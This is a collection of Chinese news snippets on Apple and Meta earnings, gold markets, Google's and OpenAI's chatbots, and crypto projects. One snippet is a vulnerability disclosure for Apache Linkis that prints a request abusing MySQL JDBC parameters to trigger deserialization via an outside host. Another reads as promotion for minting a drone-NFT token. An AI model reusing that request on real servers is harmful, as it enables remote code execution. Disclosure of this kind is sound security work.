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双重影响！苹果第一季度财报发布在即，市场聚焦iPhone销售情况

X168财经报社(北美)讯苹果公司(Apple)将在2月2日收盘后发布第一季度收益，投资者和分析师正在关注中国新冠疫情对假日季iPhone销售的影响。以下是彭博社(Bloomberg)编制的分析师对苹果公司的预期，与去年同期的表现进行了对比。收入：预计1211亿美元，而2022年第一季度为1239亿美元每股收益：预期1.94美元，而2022年第一季度为2.10美元 iPhone营收：预计683亿美元，而2022年第一季度为716亿美元 Mac收入：预计97.2亿美元，而2022年第一季度为108亿美元 iPad营收：预计77亿美元，而2022年第一季度为72亿美元可穿戴设备：预计153亿美元，而2022年第一季度为147亿美元服务：预计204亿美元，而2022年第一季度为195亿美元过去的12个月里，苹果的表现优于许多大型科技公司，截至周三下午，苹果股价仅下跌了16%，而微软(Microsoft)和谷歌母公司Alphabet的股价分别下跌了18%和25%。在整个11月和12月，苹果公司面临着新冠封锁和制造商富士康在中国郑州工厂的工人抗议的重大阻力。郑州工厂拥有20万名工人，主要生产苹果iPhone 14 Pro和iPhone 14 Pro Max手机。 iPhone 14 Pro和iPhone 14 Pro Max分别起价999美元和1099美元，是苹果最重要的两款设备。它们更高的价格有助于提高iPhone的平均售价，为这家科技巨头带来更高的收入。根据IDC的全球季度手机跟踪报告，苹果iPhone的出货量同比下降14.9%，从2021年第四季度的8500万部下降到2022年第四季度的7230万部。但面临麻烦的不仅仅是iPhone。在苹果第四季度财报电话会议上，苹果首席财务官Luca Maestri表示，苹果预计汇率逆风将给公司带来近10个百分点的同比负面影响。此外他还表示，他预计Mac的收入将“同比大幅下降”。与此同时，服务业收入预计将增长，但也将面临汇率方面的阻力。瑞银(UBS)分析师David Vogt表示，苹果第二季度也可能面临困难。他在最近的一份投资者报告中写道：“尽管我们认为市场对12月当季业绩足够谨慎，但我们认为3月前景存在适度的下行风险。虽然我们预计苹果不会在新冠疫情之前恢复详细的盈利指引，但我们预计评论将对全面的产品需求持谨慎态度。” 尽管销售可能放缓，但苹果仍设法避免了大规模裁员，这与微软(Microsoft)、谷歌和亚马逊(Amazon)等同行不同。

迪星妮2023-02-03

劲爆大行情！英欧央行与美数据联袂冲击美元暴涨逾100点、黄金“崩跌”超40美元

lphabet (GOOGL)、苹果(Apple)和亚马逊(Amazon.com)等公司的财报将于周四收盘后公布。德维尔集团(de Vere Group)首席执行官Nigel Green周四表示:“随着2022年市场状况的变化，投资者抛售了科技等成长型股票，转而买入被认为更适合充满挑战的环境的价值型股票。””“但是我们相信，现在发生的事情是反弹的开始。首先，科技股和其他成长型股票的估值目前处于低位，此前投资者转投价值型股票对它们造成了冲击。其次，通货膨胀似乎已经见顶，利率将趋于稳定，这为科技股消除了一个主要障碍。” 几位市场策略师表示，投资者还从鲍威尔的新闻发布会上找到了慰藉，他的表现比投资者预期的更为鸽派。因此，市场周四的上涨集中在标准普尔500指数中一些利率最敏感的板块，包括非必需消费品、信息技术和通信服务，Meta就属于这些板块。纽约梅隆投资管理公司(BNY Mellon investment Management)高级投资策略师Jake Jolly表示:“你没有得到市场预期的结果，即对过去几个月金融环境放松的强烈抵制。”“因为没有听到这一点，市场感觉本轮周期即将结束。这对股市来说是件好事。” 根据Fundstrat的Tom Lee的统计，鲍威尔提到“反通胀”一词的某种变体有13次。 “这是措辞和语气上的重大变化，表明美联储现在正式认识到正在形成的反通胀力量，”Lee说。贵金属方面，随着美元回升，金价在触及1959.74美元的9个月高点后大幅回落至1920美元下方。（现货黄金30分钟走势图，来源：FX168）美市盘中，现货黄金加速下跌并刷新日低至1917.11美元/盎司，较日高跌去42美元，日内跌幅达逾1.6%，完全抹去美联储利率决议公布以来的所有涨幅。 BullionVault研究主管Adrian Ash告诉MarketWatch:“一夜之间，鲍威尔说的和市场听到的似乎非常不同。”“在其他条件相同的情况下，利率在更长时间内处于高位将对无收益黄金构成压力。” Ash说，另一个令金价承压的因素是市场在伦敦黄金基准标售中突然回落，这“表明新年金价大涨更多是由纽约商品交易所和上海市场的投机行为推动，而非实物需求。” 他表示，在近期上涨后，“黄金肯定会在某个时点遭遇获利了结。”他说，随着欧洲央行和英国央行周四也上调了利率，“今天似乎和任何时候一样，市场都能找到稳定上涨的买入价所在。”

会员

夏洛特2023-02-03

Numen漏洞研究员发现Apache linkis反序列化漏洞

nguage: en Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Content-Type: application/json;charset=UTF-8 Origin: http://10.211.55.6:8088 Referer: http://10.211.55.6:8088/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8 Cookie: linkis_user_session_ticket_id_v1=3cSULn63z6BRzonTuKWkmSAyp90ueJCH Connection: close {"id":1,"dataSourceName":"test","dataSourceTypeId":1,"createSystem":"Linkis","connectParams":{"password":"RoOt123.","databaseName":"test","port":"3306","host":”149.**.**.150","driverClassName":"com.mysql.jdbc.Driver","params":"{\"connectionAttributes\":\"t:cb194\",\"autoDeserialize\":\"true\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"useSSL\":\"false\"}","username":"root"},"createTime":1667210719000,"modifyTime":1667210718000,"createUser":"root","versionId":1,"expire":false,"dataSourceType":{"name":"mysql","layers":0}} 修复 1.3.1 version add blacklist / 1.3.1版本添加黑名单 linkis-commons/linkis-common/src/main/java/org/apache/linkis/common/utils/SecurityUtils.java https://github.com/apache/linkis/commit/a652276961e39a6e0d6f79698e2b082a72f160d1#diff-d9f1daccf16be38b1c2a2b946ea9e8b27f5d7713b3981afef222ffe00e3b4a67 时间线 2022-11-02 Reporter to apache / 2022-11-02 向apache报告 2022-12-10 Fix the issue / 2022-12-10 修复 2023-01-19 Release apache linkis 1.3.1 version / 2023-01-19 发布apache linkis 1.3.1版本 2023-01-31 Public cve email / 2023-01-31 公开cve邮件许多公司已经用 Linkis 来解决大数据平台连通、扩展、管控、编排等计算治理问题；涉及金融、电信、制造、互联网等多个行业。其安全性需要各Web3项目方提高重视，及时关注各种Web3基础架构的安全漏洞并及时打好补丁，以避免潜在的安全风险和数字资产损失。我们将及时挖掘，追踪各种web3上的安全风险，以及提供领先的安全解决方案，确保web3世界链上，链下安全无虞。参考 https://lists.apache.org/thread/zlcfmvt65blqc4n6fxypg6f0ns8fqfz4 https://github.com/apache/linkis/issues/23 来源：金色财经

金色财经2023-02-02

Phygital 应用 Dronelink实体无人机＋NFT的结合

wth Index" of Web3 applications） Phygital 应用自由度指标：☆☆☆ 信任度指标：☆☆☆☆☆ 商业模式可验证指标：☆☆☆☆☆ Web3独角兽成长指数：☆☆☆☆☆ 对于时尚和娱乐领域的加密原生和 Web2 品牌，Web3提供了一个机会，可以将数字和现实世界的物品和体验带给其受众。这种物理世界和数字世界的新流行配对导致它有了自己的词：phygital。 “Phygital”即“Physical”+“Digital”，是物理环境或有形物体与数字化或在线技术驱动体验的结合，2013年由澳大利亚营销机构Momentum最早提出。我们认为，更广范围看，具有数字化表现的物理项目以及能够影响物理环境或有形物体的数字项目，都可称之为Phygital 类应用。它们代表了Web3的一个广泛类别，使区块链开发者能够开发结合物理和数字世界的新方法。 2022年，奢侈珠宝公司蒂芙尼合作向 CryptoPunks 持有者推出了“NFTiffs”，并附赠实物版钻石吊坠。250个NFTiffs 在亮相后的20分钟内售罄，并为公司净赚了1250万美元。这种“phygital”项目的创建，是奢侈品对 Web3的一种创新业务尝试。 2021年12月，NIKE宣布收购虚拟潮牌RTFKT，并将其作为自有品牌nike、乔丹、converse之外的第四大独立品牌。足以见得，耐克已经将NFT建设上升到品牌战略的层级。RTFKT正在打造一款实体球鞋，采用了 Nike 的电子鞋带 Adapt 技术，消费者可通过购买虚拟鞋款后,进一步兑换相应的实体鞋款。 NBA Top Shot是一款由NBA、NBPA和Dapper Labs共同打造的区块链收集游戏，旨在将NBA比赛中球星的高光瞬间制成可交易的数字游戏卡牌。也就是说，从前球迷需要在线下进行的纸质卡牌交换，现在在线上即可随时随地发生。除了以上的快消品、奢侈品，金融类的实体卡业务也在尝试与Web3连接。Visa和Mastercard联合不同的Web3公司开发加密货币借记卡。例如，Blockchain.com将与Visa合作推出借记卡，与客户的加密账户关联，该借记卡交易不收取任何费用，用户可以获取1%的加密货币返现。通过结合物理世界和数字世界，phygital drops 不再只是购买用于展示的物品，而是通过将真实世界和虚拟世界的各个部分结合在一起以创造独特的体验来创造更多的东西。尽管目前实体与虚拟产品的结合只是Phygital产品的初期阶段，但依仗由虚拟产品衍生出的的社交分享、DIY等便捷性，我们也能从中一窥Phygital与Web3结合所产生的巨大能量。目前，值得关注的 Phygital 类应用解决方案提供商包括： RTFKT Studios：（@RTFKT）使用最新的游戏引擎、NFT、区块链认证和增强现实，结合制造专业知识，打造出独一无二的运动鞋和数字人工制品。 Dapper Labs ：（@dapperlabs）是知名项目CryptoKitties、NBA Top Shot、NFL All Day、UFC Strike 和 Flow 区块链背后的公司，它使用区块链技术为世界各地的粉丝带来 NFT 和新形式的数字参与，为更加开放和包容的世界铺平道路从游戏和娱乐开始的数字世界。梅特卡夫定律（Metcalfe’s law）图示来源：《MICROFINTECH：通过削减成本的创新扩大金融包容性》 DroneLink：（@Dronelinkai）是一个去中心化的空中第一传媒平台，致力于成为热点事件的制造者。它的碳足迹很低，背后有一个成熟的 web3 团队。通过实体无人机NFT化，无人机编队碎片化，成为人人皆可参与的实体＋web3结合的典范项目。据悉，项目代币已发行，目前所有新地址均可在官网免费MINT代币DRONE。项目团队于1月5号在迪拜完成了Drone Show，做了一场首次以web3为主题的空中表演，详情可登录www.dronelink.ai免费MINT 来源：金色财经

金色财经2023-02-02

Meta公布第四季度收入超预期股价飙升近20% Reality Labs部门亏损42.8亿美元

缓、来自TikTok的竞争加剧以及由于Apple的2021年iOS隐私更新而削弱了定向广告系统。主要在线广告平台Alphabet 和亚马逊将于周四发布收益报告。去年，由于扎克伯格努力向华尔街推销他将公司转向尚未开发的元宇宙世界的计划，Meta股价暴跌超过60%。扎克伯格曾表示，包括虚拟现实和增强现实技术在内的元宇宙可能代表人们互动的下一个主要方式。这一大赌注让投资者感到沮丧，他们担心该公司在其核心广告业务难以重振增长的同时，过于关注未来主义的努力。Meta的Reality Labs部门是metaverse雄心壮志的所在地，第四季度亏损42.8亿美元，使其全年营业亏损总额达到137.2亿美元。Meta去年表示，“Reality Labs 2023 年的运营亏损将同比大幅增长。”

埃尔文2023-02-02

消息称谷歌测试新的AI聊天产品以应对ChatGPT竞争

Model for Dialogue Applications”（对话应用语言模型）的缩写。　　谷歌的一份内部备忘录写道：“由于ChatGPT， LaMDA团队被要求优先考虑对ChatGPT的回应。”“在短期内，它优先于其他项目，”并警告一些员工停止参加某些无关的会议。　　“学徒吟游诗人”看起来类似于ChatGPT：员工可以在对话框中输入一个问题，然后得到一个文本答案，然后对回答进行反馈。“学徒吟游诗人”的回答可能包括最近发生的事件，这是ChatGPT还没有的功能。

金融界2023-02-01

《财富》封面：全球爆红的ChatGPT是如何诞生的？

数字音乐革命。同样，2007年，苹果（Apple）iPhone手机横空出世之前，智能手机已经问世，但却并没有针对智能手机开发的应用。 2022年11月30日，人工智能领域可能也迎来了与网景导航者的问世同样重要的关键时刻。旧金山人工智能公司OpenAI的首席执行官山姆·阿尔特曼宣告了这个时刻的来临。OpenAI成立于2015年，得到了埃隆·马斯克、彼得·泰尔和其他PayPal帮成员以及LinkedIn联合创始人雷德·霍夫曼等一众硅谷大佬的投资。11月30日，公司成立约7年后，阿尔特曼发推文称：“今天我们发布了ChatGPT。欢迎点击这里与它聊天。”任何人可以通过推文中的链接注册一个账号，开始与OpenAI的新聊天机器人免费聊天。这引起了各界人士的兴趣。人们不止与它交流天气状况。它根据软件公司CEO和工程师阿姆贾德·马萨德的要求，检查了程序代码的漏洞。美食博主和网红吉娜·霍摩尔卡要求它编写一份健康的巧克力片曲奇饼干食谱。Scale AI公司的工程师赖利·古德赛德要求它撰写一集《宋飞传》（Seinfeld）的剧本。市场营销人员、一家在线人工智能美术馆的经营者盖伊·帕森斯要求它为其撰写提示语，然后输入到另外一款人工智能系统Midjourney后转换成图像。斯坦福大学医学院（StanfordUniversity School of Medicine）的皮肤病学家、从事人工智能医学应用研究的罗克珊娜·丹妮休向它提出了医学问题。许多学生利用它完成家庭作业。这一切都发生在该聊天机器人发布后24小时内。以前也曾有其他聊天机器人，但没有一款能与ChatGPT相提并论。ChatGPT能进行天马行空的长对话，可以回答问题，还能根据人们的要求撰写各种书面材料，例如商业计划书、广告宣传材料、诗歌、笑话、计算机代码和电影剧本等。当然，它并不完美：它提供的结果往往不够准确；它无法引用信息来源；而且它几乎完全不知道2021年以后发生的事情。虽然它提供的结果通常足够流畅，在高中甚至大学课堂上可以过关，但根本无法像人类专家们的表述那样做到字斟句酌。另一方面，通常在对用户知之甚少的情况下，ChatGPT生成内容只要大约一秒钟时间，而且它生成的许多内容并没有想象的那么糟糕。ChatGPT发布五天内，该聊天机器人的用户就超过了100万人，而Facebook用了10个月时间才达到这个里程碑。过去十年，人工智能技术在商业领域逐步扩大应用，悄然改进了我们日常使用的许多软件，但却并没有令非技术用户感到兴奋。ChatGPT的横空出世改变了这一点。突然之间，人人都开始谈论人工智能将会如何颠覆他们的工作、公司、学校和生活。 ChatGPT是一股相关人工智能技术浪潮的一部分，这种技术被统称为“生成式人工智能”，还囊括了Midjourney和Lensa等热门艺术生成模型。OpenAI位于科技行业“下一个大事件”的前沿，它具备了一家传奇初创公司的特征，包括全明星级别的团队和投资者的热捧，该公司的估值据称已经达到290亿美元。该公司最近的突然蹿红引发了嫉妒、猜疑和恐慌。谷歌（Google）利润丰厚的搜索帝国可能受到影响。据媒体报道，为了应对ChatGPT，谷歌内部已经拉响了“红色警报”。但OpenAI能成为超强科技公司俱乐部的成员，出乎人们的意料。几年前，它甚至还不是一家公司，而是一家致力于学术研究的小型非营利性实验室。公司至今依旧秉持着崇高的创立原则，例如保护人类文明，防范不受限制的人工智能所带来的威胁等。与此同时，OpenAI经历了一次内部转型，导致原始团队分裂，公司也将重心从纯科研项目逐步转移到商业项目。（有批评者认为，发布ChatGPT本身是一种危险行为，并且表明OpenAI的经营模式发生了巨大转变。）图片来源：IAN C. BATES—THE NEW YORK TIMES/REDUX “我认为最好的情况好到令人难以想象……好到谈论它的人会令人觉得这人是个疯子。我认为最糟糕的情况是，我们所有人都死去。” ——OpenAI联合创始人兼首席执行官山姆·阿尔特曼 OpenAI与微软（Microsoft）扩大合作的消息于近日公布，微软将向该公司投资高达100亿美元，作为回报，未来几年，该软件业巨头将获得OpenAI的大部分利润。该笔交易可能会令外界更加确信，一份曾经理想主义的事业现在只关心谋利。尽管如此，《财富》杂志掌握的文件揭示了尚未盈利的OpenAI目前的经营状况。 37岁的联合创始人兼CEO阿尔特曼充分体现了OpenAI谜一样的特性。作为一位资深科技创业者，阿尔特曼更为人们所熟知的是他出色的商业才能，而不是其工程技术成就。他是OpenAI估值暴涨的推手，也是给该技术泼冷水的主力。他曾公开表示ChatGPT距离真正可靠仍有很大差距。与此同时，他认为该技术是实现公司使命的重要一步。该公司有一个堂吉诃德式的使命，即开发一种计算机超级智能，又称通用人工智能（AGI）。阿尔特曼在7月份表示：“通用人工智能是人类生存必不可少的。我们面临的问题极其严峻，如果没有更好的工具将无法解决。” 对于一家营利性的企业而言，这种指导理念不同寻常，尤其是有些计算机科学家认为阿尔特曼的执念纯属幻想。加州大学伯克利分校（University of California at Berkeley）计算机科学家本·雷希特表示：“通用人工智能是一种愚蠢的设想。在我看来，它是虚无缥缈的。” 但通过发布ChatGPT，阿尔特曼却将OpenAI及其宏大的人工智能使命，变得令整个科技界为之着迷。问题的关键在于，他与微软的合作能否解决ChatGPT的缺点，利用其先发优势改变整个科技行业。谷歌和其他科技业巨头纷纷在加大力气开发各自的人工智能平台；未来，更完善的软件可能使ChatGPT看起来如同儿戏。OpenAI总有一天可能会发现，虽然它的技术突破开启了未来的大门，但这个未来却与它无关，如同网景在浏览器领域昙花一现的统治地位一样。 1月中旬一个星期四的晚上，阿尔特曼在旧金山罕见地公开露面。他上身穿灰色针织衫，下身穿蓝色牛仔裤，脚蹬一双时髦的亮色扎染运动鞋，走进一个挤满投资者、技术人员和记者的房间。所有人都想收集与ChatGPT或近期融资有关的信息。当StrictlyVC（一家专注于风险投资的媒体公司）的创始人康妮·洛伊佐斯询问他对于公司引起媒体轰动的看法时，阿尔特曼回答称：“我不看新闻，实际上我不太关注媒体的报道。” 活动在赛富时大厦（Salesforce Tower）的46层召开，房间内座无虚席。在采访开始前召开的金融科技专题讨论会上，一位发言嘉宾甚至对听众表示，她知道所有人“都在等待山姆·阿尔特曼”。然而，尽管引起了各界关注，还有有关微软投资的传闻在四处传播，但阿尔特曼却似乎有意在给这种热烈的氛围降温。他表示：“这些技术有一点比较奇怪，那就是虽然它们的表现令人印象深刻，却并不可靠。所以你在使用第一版演示版的时候，会产生一种非常深刻的反应：‘哇，真是不可思议，我已经迫不及待了’。但在用过一百次之后，你就会发现它的缺点。” 这种谨慎似乎代表了OpenAI总部的官方态度。该公司总部位于旧金山教会区的一家旧行李箱工厂。事实上，如果说ChatGPT是人工智能领域的“网景导航者”时刻，它差点就要提前夭折，因为OpenAI在几个月前几乎要叫停该项目。 ChatGPT的聊天界面支持用户以简单的英语（和其他多种语言）与人工智能对话，OpenAI最初的设想是将这个界面作为完善其“大语言模型”（LLM）的一种方式。大多数生成式人工智能系统核心都有一个大语言模型。大语言模型是将非常庞大的神经网络应用于大量人为创建文本所生成的。神经网络是大致基于人脑内部神经连接的一种人工智能。模型从这个数据库中学习一个复杂的统计学概率图，代表了任何一组单词在特定语境下相邻出现的统计学概率。这样一来，大语言模型就可以执行大量自然语言处理任务，例如翻译、总结或写作等。 OpenAI已经创建了全世界最强大的大语言模型之一。该模型名为GPT-3，由1,750亿个统计性联系组成，在约三分之二互联网、整个维基百科和两个大型图书数据集中进行训练。但OpenAI发现，GPT-3很难准确提供用户想要的结果。一个团队提议使用“强化学习”系统完善该模型。“强化学习”是从试错中学习以取得最大化回报的人工智能系统。该团队认为，一款聊天机器人或许是不错的候选方法之一，因为以人类对话的形式持续提供反馈，使人工智能软件很容易知道其做得好的地方和需要改进的情况。因此，2022年初，该团队开始开发这款聊天机器人，也就是后来的ChatGPT。开发完成后，OpenAI邀请贝塔测试人员对其进行了测试。但据OpenAI联合创始人兼现任总裁格雷戈·布洛克曼表示，测试人员的反馈却令OpenAI失望；人们不知道该与聊天机器人交流哪些内容。OpenAI一度改变了策略，尝试开发专业聊天机器人，希望为特定领域的专业人员提供协助。但这个项目也遇到了问题，部分原因是OpenAI缺少训练专业聊天机器人的合适数据。布洛克曼表示，OpenAI决定孤注一掷，对外发布ChatGPT，交给用户使用，任其自由发展。布洛克曼表示：“我承认，我当时的立场是，不知道它是否会成功。” OpenAI的高管表示，这款聊天机器人的突然爆红，令公司措手不及。其首席技术官米拉·穆拉蒂表示：“这令我们非常惊讶。”在旧金山召开的风险投资活动上，阿尔特曼表示他的“预期可能要低一个量级——它所引起的热度低一个量级。” 2022年10月25日，OpenAI首席技术官米拉·穆拉蒂参加《特雷弗·诺亚每日秀》。图片来源：COURTESY OF MATT WILSON/COMEDY CENTRAL’S “THE DAILY SHOW” ChatGPT并不是OpenAI唯一一款引发热度的产品。虽然该公司仅有约300名员工，团队规模较小，却拓展了人工智能的应用范围，使其不只是简单的分析数据，而是可以创建数据。OpenAI的另外一款产品DALL-E 2支持用户通过输入几个单词，生成他们所想象的任何物品的仿真图片。现在跟风者已经出现，包括Midjourney和开源软件公司Stability AI。（这些图片生成模型都有缺点，最突出的是它们倾向于放大他们的训练数据中的偏见，可能生成存在种族歧视和性别歧视的图片。）OpenAI通过微调其计算机代码的GPT大语言模型，还创建了Codex系统。该系统可以根据程序员以直白的语言输入的代码功能预期，为程序员编写代码。 OpenAI还有更多创新蓄势待发。OpenAI在贝塔测试版GPT-4中采用了更强大的大语言模型，预计该版本将于今年甚至很快发布。阿尔特曼也表示，公司正在研发一款可根据文本描述生成视频的系统。此外，在1月中旬，OpenAI表示其计划发布ChatGPT的商业版。付费用户可通过一个界面使用聊天机器人，更容易将其整合到自己的产品和服务当中。或许有冷眼旁观者认为，ChatGPT的发布时机与OpenAI正在进行的一轮大规模融资有关。（OpenAI表示该产品发布的时机纯属巧合。）可以确定的是，ChatGPT的出现搅动了一个鲨群出没的水域。它在风投界掀起了一场狂热的追逐，风投公司希望利用OpenAI高管、员工和创始人非公开出售股权的机会，获得该公司的股份。与此同时，微软将在该公司追加投资高达100亿美元的消息刚刚对外公布。微软在2016年开始与OpenAI合作，三年前与该公司建立了战略合作伙伴关系，并宣布投资10亿美元。据知情人士透露，该公司股份被大量超额认购，尽管微软通过一种不同寻常的投资结构获得了巨大的财务优势。《财富》杂志掌握的文件显示，在新投资完成并且OpenAI的首批投资者收回初始资本后，微软将有权获得OpenAI 75%的利润，直至其收回130亿美元投资，其中包括直到《财富》杂志1月份爆料之后，OpenAI才披露的20亿美元投资。之后，微软在该公司的持股比例将逐步下降到49%，直至该软件巨头获得920亿美元利润为止。与此同时，其他风险投资者和OpenAI的员工将有权获得该公司49%的利润，直至利润达到1,500亿美元为止。在利润达到上述上限之后，微软和投资者的股份将重新归还给OpenAI的非营利基金。实际上，OpenAI的做法是将公司出租给微软，租期取决于OpenAI的盈利速度。但要收回投资和实现利润上限目标，可能需要一段时间。《财富》杂志掌握的文件显示，到目前为止，OpenAI只有相对微薄的收入，依旧处在严重亏损状态。文件显示，该公司去年的收入预计不足3,000万美元。但计算和数据支出预计达到4.1645亿美元，人工支出8,931万美元，其他非特定营业费用为3,875万美元。其在2022年的净亏损总计为5.445亿美元，不含员工股票期权。而ChatGPT的发布可能快速增加该公司的亏损。阿尔特曼在Twitter上回复埃隆·马斯克的问题称，用户与ChatGPT的每次互动，将占用OpenAI“个位数百分比”的计算成本，随着这款聊天机器人走红，其每月的支出可能高达数百万美元。 OpenAI预测，随着ChatGPT成为吸引客户的重要工具，其收入将会快速增长。文件显示，该公司预测2023年收入2亿美元，2024年收入预计超过10亿美元。但OpenAI并未预测其支出的增长情况以及何时能够扭亏为盈。该公司拒绝就这些数据发表评论，但它们指向了一个显而易见的事实：OpenAI和微软都认为，曾经的非营利性实验室现在已经有可用来出售谋利的产品。 10亿美元根据《财富》获得的一份文件，ChatGPT在2024年收入预计达到10亿美元，2023年为2亿美元，2022年为3000万美元。微软已经开始收获双方合作协议的成果。微软在其Azure Cloud平台中推出了一系列OpenAI品牌的工具和服务，支持Azure客户使用OpenAI的技术，包括GPT和DALL-E工具。例如，汽车交易平台CarMax已经推出了可在这些Azure工具上运行的新服务。微软人工智能平台企业副总裁埃里克·博伊德表示，满足训练和运行OpenAI大语言平台的需求，推动了创新，将使所有Azure客户受益。例如，微软为人工智能创建了其认为全球最强大的超级计算集群，并开发了多种软件创新，使在这些机器上训练和运行大型人工智能模型变得更容易。微软正在将OpenAI的技术整合到其许多软件当中。微软在其搜索引擎必应（Bing）中推出了一款图片创作工具以及一款新型设计师图片设计工具，这两款工具均由DALL-E驱动；在其Power Apps软件中推出了一款支持GPT-3的工具，并根据OpenAI的Codex模型开发了一款代码建议工具GitHub Copilot。晨星（Morningstar）专注于科技股研究的高级股票研究分析师丹·罗曼诺夫表示，与OpenAI的合作关系即使不会马上对Azure的收入产生影响，依旧是一次良好的品牌定位和营销。他表示：“OpenAI备受关注。微软能够采用OpenAI开发的人工智能解决方案，将其应用到Azure并命名为Azure AI，可以保持其竞争力。”微软云服务的竞争对手谷歌、AWS、IBM、甲骨文（Oracle）、赛富时（Salesforce）等，都有各自的“认知”服务，但能够与开发出ChatGPT的公司合作必然是利大于弊。对微软而言，更大的回报可能是在搜索领域。科技媒体The Information最近报道称，微软计划将ChatGPT整合到必应，使其能够为用户反馈简洁明了的回答，并且使用户可以通过与聊天机器人对话进行深入探究，而不是逐一查看一列链接。谷歌目前在搜索市场占据主导地位，其全球市场份额超过90%。必应虽然名列第二，却与谷歌相去甚远，市场份额仅有约3%。在2022年前九个月，谷歌搜索业务的收入为1,200亿美元，约占谷歌总收入的60%。ChatGPT或许为微软动摇谷歌的霸主地位提供了唯一一次真正的机会。（微软拒绝就The Information的报道发表评论。）按照微软的标准，这些积极的回报非常划算。微软在OpenAI的总投资额为130亿美元，确实是一个天文数字，但这笔投资仅占其过去12个月850亿美元税前利润的15%，却能获得一项颠覆性技术的近期控制权，是一笔成本相对较低的交易。但OpenAI和阿尔特曼却可能要付出不同的代价：微软的优先任务可能对OpenAI自己的优先任务产生排挤效应，使OpenAI更宏大的使命面临风险，并且降低助力公司成功的科学家们对其的归属感。 2015年7月的一个晚上，时任知名初创公司孵化器Y Combinator负责人的阿尔特曼，在地处门罗帕克硅谷风投业中心的牧场风格豪华酒店罗斯伍德桑德希尔酒店（Rosewood Sand Hill）举行私人晚宴。出席晚宴的包括埃隆·马斯克，还有当时26岁的麻省理工学院（MIT）肄业生布洛克曼。布洛克曼时任支付处理初创公司Stripe的首席技术官。宾客中有多位经验丰富的人工智能研究人员，也有人对机器学习几乎不甚了解。但所有人都相信通用人工智能是可行的，而且他们都非常担心。谷歌刚刚收购了一家公司：位于伦敦的神经网络初创公司DeepMind。在阿尔特曼、马斯克和其他科技界内部人士眼中，这是有极高胜算最先开发出通用人工智能的一家公司。如果DeepMind成功，谷歌可能会在这项无所不能的技术领域一家独大。罗斯伍德晚宴的目的是讨论成立一家实验室与其竞争，以避免这种情况发生。新实验室旨在成为一家与DeepMind和谷歌截然不同的机构。这家实验室将是非营利性质，并明确提出以将先进人工智能的效益民主化为使命。该实验室承诺公开所有研究，将所有技术开源，并在公司名称OpenAI中充分体现了对透明度的承诺。该实验室有多位知名捐款人，其中不仅有马斯克，还有他在PayPal的同事泰尔和霍夫曼；阿尔特曼和布洛克曼；Y Combinator联合创始人杰西卡·利文斯顿；阿尔特曼成立的YC Research基金；印度IT外包公司Infosys；以及Amazon Web Services。所有创始捐款人承诺在这家理想主义的新公司共同投资10亿美元（但税务记录显示，虽然这一承诺被媒体广泛报道，但该非营利组织仅收到了承诺捐款金额的一小部分）。但事实很快证明，训练庞大的神经网络成本高昂，计算成本高达数千万美元。人工智能研究人员的人工成本同样昂贵：税务记录显示，出生于俄罗斯的科学家伊利亚·萨茨科尔离开谷歌后，加入OpenAI担任首席科学家，在前几年的年薪高达190万美元。几年后，阿尔特曼和OpenAI的其他人得出的结论是，要与谷歌、Meta以及其他科技巨头竞争，该实验室不能继续以非营利的方式运营。阿尔特曼在2019年对《连线》（Wired）杂志表示：“为了成功完成我们的使命，我们需要海量资金，数额远超出我最初的设想。” 成立一家营利性分支机构，使OpenAI能够吸收风险资本。但OpenAI创建了一种非同寻常的融资结构，按照投资者的初始投资，以特定倍数规定投资者的回报上限。而由硅谷精英组成的OpenAI非营利性董事会，将保留OpenAI知识产权的控制权（见侧边栏）。有一位硅谷精英没有继续在董事会任职，他就是马斯克：2018年，马斯克离开OpenAI董事会，理由是他需要经营SpaceX，还有更重要的特斯拉（Tesla）。当时，微软CEO萨蒂亚·纳德拉迫切希望证明，在人工智能领域落后于竞争对手的微软，也能在人工智能技术的尖端领域扮演一定的角色。微软曾经尝试聘请一位重量级的人工智能科学家，但未能成功。微软还建立了规模庞大、成本高昂的专用芯片集群，以推进其在语言模型开发领域的进展。这正是OpenAI迫切需要的超级计算力，当时该公司曾斥巨资进行收购。OpenAI擅长的是实现各种炫酷的人工智能演示，而这正是希望证明微软人工智能实力的纳德拉所期待的。阿尔特曼主动联系到纳德拉商谈合作，他曾多次飞往西雅图展示OpenAI的人工智能模型。纳德拉最终签署了合作协议，并在2019年7月对外公布，使微软成为OpenAI技术商业化的“首选合作伙伴”，并在该人工智能初创公司初始投资10亿美元。山姆·阿尔特曼与微软CEO萨蒂亚·纳德拉在位于华盛顿州雷德蒙德的微软总部合影。图片来源：IAN C. BATES—THE NEW YORK TIMES/REDUX 虽然阿尔特曼从最开始就参与了OpenAI的创立，但他直到2019年5月OpenAI转型为营利性企业后不久才担任该公司CEO。但该公司从一家研究实验室变成价值数十亿美元的现象级企业的过程，充分显示出阿尔特曼独特的融资能力，以及以产品为导向的经营理念，也凸显出这些商业本能与他对实现科学驱动的宏大想法的承诺之间的矛盾。作为OpenAI的领导人，从某种程度上来说，阿尔特曼就是硅谷的典型代表：年轻的白人男性；坚定专注；精通极客技术；热衷于效率和生产率最大化；致力于“改变世界”的工作狂。﹝在2016年《纽约客》（New Yorker）的一篇文章中，他表示自己并没有阿斯伯格综合征，但他能理解为什么人们会认为他是阿斯伯格综合征患者。﹞ 阿尔特曼从斯坦福大学计算机科学专业肄业，参与创建了一家社交媒体公司Loopt，该公司的应用可以告知用户好友所在的位置。该公司在2005年，成为Y Combinator的首批初创公司；虽然这家公司未能成功，但阿尔特曼出售该公司所得的收入，帮助他进入了风投界。他创建了一家小型风险投资公司Hydrazine Capital，募资约2,100万美元，其中包括泰尔的资金。后来Y Combinator的联合创始人保罗·格雷厄姆和利文斯顿聘请他接替格雷厄姆，负责运营YC。阿尔特曼是一位创业者，而不是科学家或人工智能研究人员，他为人所津津乐道的是极其擅长进行风投融资。他坚信伟大的事业源于远大的志向和坚定不移的自信，他曾表示，希望通过开发所谓的深度科技领域，如核裂变和量子计算等，创造数万亿美元的经济价值。这些领域虽然成功的机会渺茫，但有可能带来巨大回报。阿尔特曼在Loopt的同事、资深科技投资者和初创公司顾问马克·雅各布斯坦表示：“山姆相信，他在自己从事的领域是最棒的。我确信，他曾认为自己是办公室里最强的乒乓球高手，直到事实证明他是错误的。” 